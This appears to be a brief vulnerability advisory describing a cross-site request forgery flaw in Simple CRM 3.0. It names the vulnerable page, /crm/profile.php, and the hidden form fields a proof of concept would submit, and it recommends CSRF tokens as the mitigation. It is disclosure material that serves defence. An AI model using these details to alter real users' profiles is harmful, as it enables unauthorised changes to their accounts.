Simple CRM 3.0 – ‘Change user information’ Cross-Site Request Forgery (CSRF)

Simple CRM suffers from Cross-site request forgery, which the attacker can manipulate user data via triggering user to visit suspicious url. The vulnerable page is /crm/profile.php. The proof of concept code includes an HTML form with hidden inputs for name, alt_email, phone, gender, address, and update, which when submitted, will update the user information.

Mitigation:

Implementing a CSRF token in the form to verify the authenticity of the request.
